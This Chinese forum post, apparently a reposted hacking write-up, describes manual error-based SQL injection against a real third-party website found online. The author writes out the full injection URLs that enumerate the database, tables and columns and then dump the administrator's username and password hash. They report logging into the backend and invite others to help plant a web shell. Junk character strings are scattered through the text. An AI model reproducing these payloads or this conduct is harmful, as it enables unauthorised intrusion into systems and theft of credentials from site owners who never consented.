近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
8 k1 e; ]! ]2 L3 H: K) n# U首先找到网站后台,加了个admin,后台出来了
* F! F! ~- f& P
. a9 C; j2 [1 V0 A0 c
: A1 m5 D' z8 J9 v" T [6 \0 P! k) g然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入3 \9 \( I6 D7 u, k) X% |
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—1 n. j' Q- M) T. m: _( s
. F% \, _3 ?" ^& M3 @7 f3 W
; Z: {$ [5 z* f4 w. @' g
$ r+ |4 P' v6 d, v, _5 D! ] Q# H6 r# Q' ^- s
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg" q1 ~; f+ J5 \6 {# u
. y" R; W" Z0 E1 M I1 C1 O& \
7 ~0 ?/ s0 G& x3 R; C# q2 u' I C1 K% J' ^
# N S4 U( c2 j( O) N' l0 ?
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
0 A% `' V0 R. Y4 l
; w/ }% ?2 {% v ] j1 q7 v: z3 |8 g1 a7 f- S! C& a0 m
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
k+ q8 w2 w6 A, y( P2 L" R
3 C* x+ Y7 u8 \: s# W# j8 p4 x' X) u$ Z* A5 d& V3 J: L6 I
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
8 a! J9 G* `. |5 n1 p6 I, B* K; R* M% S% Z) ~. i1 G4 |" _# l8 E
I) C/ C& A" p C$ g+ L" g- V: U& w1 a9 w, v; _) `1 P0 f# c: {! \! b
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--! Z7 y0 d! r; q: c3 O5 F" t- ?
& v- v! g2 @9 J
2 K4 X! X' ?& c [9 r' u
0 w6 @5 z3 P9 {# l" ?5 T- A) Z 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |